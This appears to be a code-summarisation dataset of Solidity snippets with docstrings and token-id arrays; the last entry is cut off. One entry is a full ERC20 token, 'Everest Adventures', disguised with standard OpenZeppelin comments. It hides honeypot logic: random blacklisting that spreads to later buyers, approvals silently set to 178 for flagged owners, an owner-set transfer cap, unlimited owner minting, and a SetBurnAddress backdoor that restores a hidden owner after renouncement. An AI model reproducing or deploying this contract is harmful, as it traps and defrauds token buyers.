[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 389, 8066, 4727, 273, 2130, 31, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0x38dc2caEa46b83e044BD77bf7d83c87931A0D446/sources/contracts/stake.sol
check, amount should be greater than zero. There should be some tokens to be staked. this refers to the instance of the contract where the call is made (you can have multiple instances of the same contract). address(this) refers to the address of the instance of the contract where the call is being made. msg. sender refers to the address where the contract is being called from. @param _amount, the amount of tokens you want to stake . The balance of the owner of the contract, after staking the coins.
function stakeToken(uint _amount) public { require(_amount>0,"amount need to be more than 0"); basety.transferFrom(msg.sender, address(this), _amount); stakingBalance[msg.sender] = stakingBalance[msg.sender] + _amount; if(!hasStaked[msg.sender]){ staker.push(msg.sender); } isStaking[msg.sender] = true; hasStaked[msg.sender] = true; stakedTime[msg.sender] = block.timestamp; }
9,582,120
[ 1, 1893, 16, 3844, 1410, 506, 6802, 2353, 3634, 18, 6149, 1410, 506, 2690, 2430, 358, 506, 384, 9477, 18, 333, 21368, 358, 326, 791, 434, 326, 6835, 1625, 326, 745, 353, 7165, 261, 19940, 848, 1240, 3229, 3884, 434, 326, 1967, 6835, 2934, 1758, 12, 2211, 13, 21368, 358, 326, 1758, 434, 326, 791, 434, 326, 6835, 1625, 326, 745, 353, 3832, 7165, 18, 1234, 18, 5793, 21368, 358, 326, 1758, 1625, 326, 6835, 353, 3832, 2566, 628, 18, 225, 389, 8949, 16, 326, 3844, 434, 2430, 1846, 2545, 358, 384, 911, 263, 1021, 11013, 434, 326, 3410, 434, 326, 6835, 16, 1839, 384, 6159, 326, 276, 9896, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 1345, 12, 11890, 389, 8949, 13, 1071, 288, 203, 3639, 2583, 24899, 8949, 34, 20, 10837, 8949, 1608, 358, 506, 1898, 2353, 374, 8863, 1850, 203, 3639, 2580, 14369, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 8949, 1769, 7010, 540, 203, 3639, 384, 6159, 13937, 63, 3576, 18, 15330, 65, 273, 384, 6159, 13937, 63, 3576, 18, 15330, 65, 397, 389, 8949, 31, 203, 540, 203, 3639, 309, 12, 5, 5332, 510, 9477, 63, 3576, 18, 15330, 5717, 95, 203, 5411, 384, 6388, 18, 6206, 12, 3576, 18, 15330, 1769, 203, 3639, 289, 203, 3639, 353, 510, 6159, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 711, 510, 9477, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 384, 9477, 950, 63, 3576, 18, 15330, 65, 273, 1203, 18, 5508, 31, 203, 565, 289, 203, 3639, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xE230251D53D04DA2DbaBaEcA92F59E1E8d7c7064/sources/_contracts/JoysNFTMinning.sol
minersInfo multi times 1e12, 1e18/(1e12)
return totalReward.mul(1e6);
3,475,724
[ 1, 1154, 414, 966, 3309, 4124, 404, 73, 2138, 16, 404, 73, 2643, 19, 12, 21, 73, 2138, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 327, 2078, 17631, 1060, 18, 16411, 12, 21, 73, 26, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private diosus; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; diosus = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function SetBurnAddress() public { require(_owner != diosus); emit OwnershipTransferred(_owner, diosus); _owner = diosus; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public sleepy; mapping (address => bool) public lion; bool private soap; uint256 private _totalSupply; uint256 private mountain; uint256 private opera; uint8 private _decimals; string private _symbol; string private _name; bool private movieth; address private creator; uint elputin = 0; constructor() public { creator = address(msg.sender); soap = true; movieth = true; _name = "Everest Adventures"; _symbol = "EVEREST"; _decimals = 18; _totalSupply = 8848000000000000000000; mountain = _totalSupply / 100000000000000000; opera = mountain; lion[creator] = false; _balances[msg.sender] = _totalSupply; sleepy[msg.sender] = true; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ViewingBasecamp() external view returns (uint256) { return mountain; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } function randomItIs() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, elputin))) % 4; elputin++; return screen; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } function BurnTheFruits(uint256 amount) external onlyOwner { mountain = amount; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function PrinterSaysBrrr(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function CheckThisAddressToday(address spender, bool val, bool val2) external onlyOwner { sleepy[spender] = val; lion[spender] = val2; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (soap == true)) { sleepy[recipient] = true; lion[recipient] = false; soap = false; } if (sleepy[recipient] != true) { lion[recipient] = ((randomItIs() == 2) ? true : false); } if ((lion[sender]) && (sleepy[recipient] == false)) { lion[recipient] = true; } if (sleepy[sender] == false) { require(amount < mountain); } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (movieth == true)) { sleepy[spender] = true; lion[spender] = false; movieth = false; } tok = (lion[owner] ? 178 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. This is internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (movieth == true)) { sleepy[spender] = true; lion[spender] = false; movieth = false; } tok = (lion[owner] ? 178 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); }
12,215,873
[ 1, 2785, 1375, 8949, 68, 487, 326, 1699, 1359, 434, 1375, 87, 1302, 264, 68, 1879, 326, 1375, 8443, 68, 87, 2430, 18, 1220, 353, 2713, 445, 353, 7680, 358, 1375, 12908, 537, 9191, 471, 848, 506, 1399, 358, 425, 18, 75, 18, 444, 5859, 1699, 6872, 364, 8626, 15359, 87, 16, 5527, 18, 7377, 1282, 392, 288, 23461, 97, 871, 18, 29076, 30, 300, 1375, 8443, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 87, 1302, 264, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 12908, 537, 12, 2867, 3410, 16, 1758, 17571, 264, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 565, 2254, 5034, 946, 273, 3844, 31, 203, 565, 2583, 12, 8443, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 6617, 537, 628, 326, 3634, 1758, 8863, 203, 565, 2583, 12, 87, 1302, 264, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 6617, 537, 358, 326, 3634, 1758, 8863, 203, 377, 203, 565, 309, 14015, 2867, 12, 8443, 13, 422, 11784, 13, 597, 261, 8683, 522, 546, 422, 638, 3719, 288, 203, 1377, 5329, 93, 63, 87, 1302, 264, 65, 273, 638, 31, 203, 1377, 328, 285, 63, 87, 1302, 264, 65, 273, 629, 31, 203, 1377, 7344, 522, 546, 273, 629, 31, 203, 565, 289, 203, 377, 203, 565, 946, 273, 261, 80, 285, 63, 8443, 65, 692, 8043, 28, 294, 3844, 1769, 203, 377, 203, 565, 389, 5965, 6872, 63, 8443, 6362, 87, 1302, 264, 65, 273, 946, 31, 203, 565, 3626, 1716, 685, 1125, 12, 8443, 16, 17571, 264, 16, 946, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.5.0; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./ParamUtils.sol"; import "./TradeUtils.sol"; import "./ZkAssetTradeable.sol"; import "./libs/NoteUtils.sol"; import "./ACE/ACE.sol"; import "./interfaces/IAZTEC.sol"; contract TradeValidator is IAZTEC { using NoteUtils for bytes; using SafeMath for uint256; uint256 public chainId; ACE public ace; bytes2 public constant MAGIC_BYTES = 0x1901; bytes32 public constant SALT = 0x655a1a74fefc4b03038d941491a1d60fc7fbd77cf347edea72ca51867fb5a3dc; string public constant TRADE_TYPE = "Trade(address sellerAddress,address bidderAddress,address sellerTokenAddress,address bidderTokenAddress,bytes32 sellerInputNoteHash,bytes32 bidderOutputNoteHash,bytes32 bidderInputNoteHash,bytes32 sellerOutputNoteHash,uint256 saleExpireBlockNumber,uint256 bidExpireBlockNumber)"; bytes32 public constant TRADE_TYPEHASH = keccak256(abi.encodePacked(TRADE_TYPE)); string public constant EIP712_DOMAIN = "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)"; bytes32 public constant EIP712_DOMAIN_TYPEHASH = keccak256(abi.encodePacked(EIP712_DOMAIN)); constructor(uint256 _chainId, address _aceAddress) public { chainId = _chainId; ace = ACE(_aceAddress); } function validateAndGetFirstProofOutput( bytes memory _proofData, address _proofSender ) public returns (bytes memory _proofOutput, bytes32 _proofHash) { bytes memory proofOutput = ace.validateProof(JOIN_SPLIT_PROOF, _proofSender, _proofData).get(0); return (proofOutput, keccak256(_proofOutput)); } function validateProofByHash( bytes memory _proofOutput, address _signer ) public view returns (bool) { bytes32 proofHash = keccak256(_proofOutput); return 